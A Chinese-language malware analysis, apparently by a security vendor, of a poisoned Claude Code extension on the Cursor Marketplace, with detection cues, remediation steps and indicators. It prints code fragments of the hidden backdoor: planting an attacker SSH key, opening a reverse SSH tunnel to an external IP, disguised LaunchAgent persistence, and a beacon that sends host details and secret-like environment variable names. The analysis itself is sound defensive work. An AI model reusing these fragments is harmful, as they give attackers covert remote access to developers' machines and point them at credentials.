ARTICLE · 1287385
Claude Code官方插件被投毒,打开就已中招
Phorion 发现,Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭篡改:被植入后门的扩展包中包含一枚可持续存活的 SSH 后门。Cursor 已从市场下架受影响版本 2.1.312 与 2.1.313。
虽然这套恶意载荷同时具备 macOS、Linux 与 Windows 的部署和持久化逻辑,但本文主要聚焦 macOS,并顺带指出其他平台的关键差异与若干实现层面的 bug。
Cursor Marketplace 为 Cursor 编辑器提供扩展。由于扩展以 IDE 及其运行用户的权限执行,一旦模块被加载,被植入后门的扩展就能立即访问本地文件、源码与开发者工具链。
值得特别注意的是,Phorion 发现该恶意软件在尝试启用 SSH 时存在一个明显的“翻车”疏忽:它的初始化逻辑假设自己可以在无 root 权限的情况下检查当前“远程登录”状态。当以普通用户运行时,systemsetup -getremotelogin 会打印一条需要管理员权限的错误,并以状态码 0 退出,而不是返回 Off。由于脚本只在输出匹配 Off 时才尝试启用 SSH,它干脆跳过了启用步骤。在一台原本没开 SSH 的 Mac 上,这个错误直接把“外部连入”的通路打断——即便 SSH 密钥和持久化已经落地。
本文将拆解这枚后门的工作原理、macOS 检查为何失效,以及你在终端环境中该盯什么。攻击载荷的目标是长期交互式访问;虽然 SSH 后门的 bug 降低了 macOS 上的实际危害,但它依然会安装持久化、回传主机侦察信标,是实打实的高危威胁。
感染链
被篡改的 Cursor Marketplace 扩展
被篡改的 extension.js 文件开头,有一段被注入的立即执行函数表达式(IIFE),拼接在压缩后的扩展包最前面。包体其余部分看起来像正常扩展:包含 Claude Code 与 VS Code 字符串、标准的 activate / deactivate 导出,以及 UI 代码。
这段注入前缀引入了 Node.js 标准模块(child_process、fs、os、path、http、crypto),并在 Node 加载该文件时立即执行——甚至早于扩展正常的 activate 回调。用户完全不需要与扩展交互, payload 就会触发。
第一阶段:准备 SSH 访问
首先,payload 确保 ~/.ssh 目录存在,并将攻击者控制的 Ed25519 公钥追加进 ~/.ssh/authorized_keys,目录权限设为 0700,文件权限设为 0600。
该密钥的注释字段为 svc-telemetry。追加前,脚本检查的是文件里是否已有 svc-telemetry 这个注释,而不是比对完整密钥内容。排查时,建议核对公钥指纹,别只依赖注释字符串。
●●● var sd = path.join(HOME,".ssh"),ak = path.join(sd,"authorized_keys");// ...if(cur.indexOf("svc-telemetry")<0){fs.appendFileSync(ak,PUB+"\n");d.sshKey="added"}else{d.sshKey="present"}
只要密钥就位,持有对应私钥的人就能以该用户身份认证——前提是 SSH 真的在跑。接下来脚本尝试确保本机 SSH 守护进程已启用并监听:
- Linux:
通过 systemctl启用并启动sshd/ssh,失败则回退到service与/etc/init.d/。 - macOS:
检查“远程登录”,若返回 Off,尝试用sudo -n systemsetup -setremotelogin on启用。 - Windows:
用 PowerShell 安装并启动 OpenSSH Server。
以上步骤都不含提权漏洞。非交互式 sudo -n 在用户没有缓存/配置免密 sudo 时会失败,因此从普通用户上下文启动系统服务未必成功。
Windows 分支似乎也有自己的 bug:它把 PowerShell 服务安装命令塞进一个硬编码 /bin/sh 的辅助函数 det()——在标准 Windows 环境里基本走不动。
macOS SSH 逻辑里的 bug?
在 macOS 上,脚本可能还没走到 sudo 就先栽跟头。它不带提权运行 systemsetup -getremotelogin,并把输出拿去匹配 /Off/i,只有输出包含 Off 才尝试启用远程登录:
●●● // ...elseif(PLAT==="darwin"){var rl =ex("systemsetup -getremotelogin 2>/dev/null",4000);d.remoteLogin= rl;if(/Off/i.test(rl)){det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");d.remoteLoginOn="tried"}}
注意第二条命令(-setremotelogin on)用了 sudo -n,第一条(-getremotelogin)却没有。当普通用户在 macOS 上运行 systemsetup -getremotelogin,实际得到的是:
●●● You need administrator access to run this tool... exiting!
systemsetup 在没有管理员权限时拒绝读取设置,把错误打到 stdout,并以状态码 0 退出。恶意软件的 ex() 辅助函数只取 stdout 并返回:
●●● functionex(c, t){try{return cp.execSync(c,{timeout: t ||3000,stdio:["ignore","pipe","ignore"],windowsHide:true}).toString().trim()}catch(e){return""}}
因为输出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 结果为 false。
于是脚本跳过 if 块,永远不执行 sudo -n systemsetup -setremotelogin on。它实质上把“我没权限检查 SSH 是否关闭”误判成了“SSH 已经开着”——这也解释了为什么以普通用户运行扩展时,进程遥测里根本看不到启用动作。
这个 bug 会打断访问链的最后一环。 如果这台 Mac 原本没开远程登录,外向隧道能连上攻击者服务器,但通过隧道转发回来的流量会撞上本机 22 端口的“关门”。
当然,不能把这当防御手段。如果用户本来就开了远程登录,或者之后手动打开,后门依旧随时待命。
第二阶段:建立反向 SSH 隧道
接着,脚本向外连到 134.209.82[.]225 的 22 端口,以 tunnel 用户建立出站 SSH 连接。为向攻击者服务器认证,它会解码另一把内嵌私钥:一把未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。
调查时要把两把密钥分清:
写入 ~/.ssh/authorized_keys的公钥(svc-telemetry):让攻击者登录受害者机器。内嵌的私钥( svc-telemetry-tun):让受害者机器外连攻击者的隧道服务器。
脚本把这把隧道私钥写到系统临时目录,文件名以 .stk_ 开头,后面接主机名+家目录路径的 MD5 前 10 位:
●●● var kf = path.join(TMP,".stk_"+ crypto.createHash("md5").update(String(os.hostname())+HOME).digest("hex").slice(0,10));// ...varRF=(PLAT==="win32")?"\"*:0:localhost:22\"":"'*:0:localhost:22'";
隧道使用 -R *:0:localhost:22 做远端端口转发。传 0 是让攻击者 SSH 服务器动态分配监听端口,把打进来的流量经隧道转回受害者本机的 localhost:22:
●●● 受害主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器操作者 -- 另开连接 --> 服务器分配端口|穿过已有隧道|v受害主机 SSH:22|用种下的密钥登录
隧道带 -N,只维持端口转发,不在远端执行命令。操作者要访问机器时,通过服务器上分配的端口再开一条 SSH 会话,用第一阶段种下的密钥对接受害者本地 SSH 守护进程,从而获得完整交互式 shell 与文件传输能力,JS 本身无需自定义 C2 指令逻辑。
SSH 命令还带了一堆“安静非交互”参数:禁用主机密钥检查、忽略 known_hosts、BatchMode 与 IdentitiesOnly 开启、保活 30 秒(ServerAliveCountMax=3)、ExitOnForwardFailure 开启。
如果装了 autossh 就用它,否则回退普通 ssh。连接被包在一个脱离父进程的重试循环里,每次间隔睡 60 秒,Unix 上用 pgrep 避免重复建隧道。因为循环是 detached,就算用户关掉 IDE,隧道依然活着。
第三阶段:保住访问权
为熬过重启,脚本在各平台布置对应持久化,与初始 detached 隧道并列:
~/.config/.smt~/.config/.smtk | @reboot 项 | ||
~/.config/.smt~/.config/.smtk、~/Library/LaunchAgents/com.apple.sysmond.plist | RunAtLoad+KeepAlive=true 跑 /bin/sh ~/.config/.smt,再 launchctl load | ||
~/.config/smt.cmd~/.config/smtk、%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd | SysMon、以 SYSTEM 启动的的计划任务;失败则丢 sysmon.cmd 进启动文件夹 | SYSTEM |
macOS / Linux 上,~/.config/.smt 里内嵌隧道私钥,重连前先写出到 ~/.config/.smtk。
macOS 的 LaunchAgent 伪装成 com.apple.sysmond.plist,藏在 ~/Library/LaunchAgents/:
●●● <key>Label</key><string>com.apple.sysmond</string><!-- ... --><key>RunAtLoad</key><true/><key>KeepAlive</key><true/>
第四阶段:主机侦察
最后,脚本收集基础主机情报,向攻击者服务器发一次性信标:
主机名、用户名、操作系统平台、架构 家目录、当前工作目录、全局 Git 邮箱( git config --global user.email)公网 IP,以及各阶段状态标志(如密钥是否写入、用了哪种持久化) 最多 40 个匹配 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i的环境变量名(不取值)
环境变量检查用 Object.keys(process.env):
●●● Object.keys(process.env).filter(function(k){return/KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)}).slice(0,40)
只取变量名,不回传秘密值。作用是给操作者一份“这台机器上有哪些云凭证 / API token”的速查清单,用来挑重点机器打。
公网 IP 通过 ifconfig[.]me 获取,失败回退 api[.]ipify[.]org。
随后用明文 HTTP POST 把 JSON 报告发到 134.209.82[.]225:8099 与 127.0.0.1:8099 的 /beacon:
●●● var r = http.request({host: h,port: p,path:"/beacon",method:"POST",timeout:3000,headers:{"content-type":"application/json"}},function(res){res.resume()});// ...r.write(JSON.stringify(d));r.end()
为什么还往 127.0.0.1:8099 发一份,样本里看不出名堂——脚本本身没在本地起监听。
信标用 setTimeout 调度一次(初始部署后 1.5 秒),res.resume() 丢弃响应。它只是打卡报平安,真正访问靠 SSH 隧道。
检测线索
从检测视角看,这条链在 macOS 上靠 ESF(Endpoint Security Framework)遥测能揪出好几处异常。
SSH 密钥与配置变更
恶意软件直接用 Node 的 fs.appendFileSync 追写 ~/.ssh/authorized_keys,只盯 echo / tee 这类 shell 命令的进程规则会漏。这里必须靠文件修改遥测:看 IDE 辅助进程(Code Helper、Cursor Helper 等)是否创建/写入 authorized_keys。
即便 IDE 主程序签名合法,它的扩展宿主进程也没理由在后台改 SSH 认证文件。
同时也要监控 systemsetup -setremotelogin on,但别把它当必要告警条件——上面说过,macOS 的状态检查是坏的,这条命令经常根本不会跑。
用户 LaunchAgent 持久化
macOS 持久化给了一组强信号:
非 Apple 进程写出带 com.apple.*标签的 plist(~/Library/LaunchAgents/com.apple.sysmond.plist)LaunchAgent 配置为对家目录隐藏脚本( ~/.config/.smt)执行/bin/sh
由于初始隧道是 detached 进程,后续由 launchd 直接管 .smt,活进程树里 ssh 的直亲不再是 IDE。把 .smt 与 com.apple.sysmond.plist 的文件创建事件关联回 IDE 扩展宿主,更容易拼出整条链。
SSH 隧道与后续访问
进程与网络侧盯这些:
ssh/ autossh带远端端口转发(-R *:0:localhost:22),身份文件来自/tmp/.stk_*或~/.config/.smtk出站连 134.209.82[.]225:22,同时向134.209.82[.]225:8099发 HTTP POST(以及连127.0.0.1:8099的尝试)
如果发现某台机器跑过该扩展,重点是判断隧道只是建起来,还是操作者真的登进来了。因为入站会话走本地端口转发,SSH 日志里成功登录会显示来自 localhost(127.0.0.1 / ::1),并用 svc-telemetry 密钥认证。
处置建议
找到受影响机器,只卸载扩展清不掉后门。响应要覆盖所有落盘阶段:
- 杀掉活跃隧道进程
:终止 /bin/sh重试循环,以及任何连向134.209.82[.]225的ssh/autossh。 - 清持久化
:macOS 卸载并删 ~/Library/LaunchAgents/com.apple.sysmond.plist(Linux 清@rebootcron / Windows 清SysMon计划任务与启动脚本),同时删~/.config/.smt和~/.config/.smtk。 - 清 SSH 密钥与状态
:从 authorized_keys移除svc-telemetry公钥,删/tmp/.stk_*,确认远程登录(SSH)没有被意外打开。 - 轮转凭证
:如果主机开过 SSH,或有任何入站登录痕迹,轮转该用户可访问的所有凭证 / token(尤其命中 KEY|TOKEN|SECRET|PASS|AWS|GCP过滤规则的那些)。
Phorion 的应对思路
Phorion 开箱检测规则在多条规定中覆盖本次 macOS 持久化行为,包括非 Apple 进程创建 com.apple.* LaunchAgent、LaunchAgent 执行隐藏目录 shell 脚本等。
除持久化外,Phorion 文件访问遥测能捕获 IDE 扩展宿主直接改 ~/.ssh/authorized_keys 的行为;借助 Phorion Protections,还可预先锁死 ~/.ssh/,只允许授权进程读写 SSH 密钥与配置文件。
indicators(IoC)
样本与公钥指纹
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 | extension.js 包 | |
SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk | authorized_keys 的 Ed25519 密钥(注释 svc-telemetry) | |
SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ | svc-telemetry-tun) |
网络指标
134.209.82[.]225tunnel) | ||
134.209.82[.]225:8099POST /beacon) | ||
127.0.0.1:8099POST /beacon) | ||
ifconfig[.]meapi[.]ipify[.]org |
主机痕迹
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64 | <ide> 随编辑器变) | |
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64 | ||
~/.ssh/authorized_keyssvc-telemetry) | ||
<TMP>/.stk_<10 hex>$TMPDIR/.stk_*) | MD5(hostname+HOME) 前 10 位) | |
~/.config/.smt~/.config/.smtk | ||
~/Library/LaunchAgents/com.apple.sysmond.plist | /bin/sh ~/.config/.smt 的用户 LaunchAgent | |
@reboot~/.config/.smt) | ||
~/.config/smt.cmd~/.config/smtk | ||
SysMon | SYSTEM) | |
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd |















































































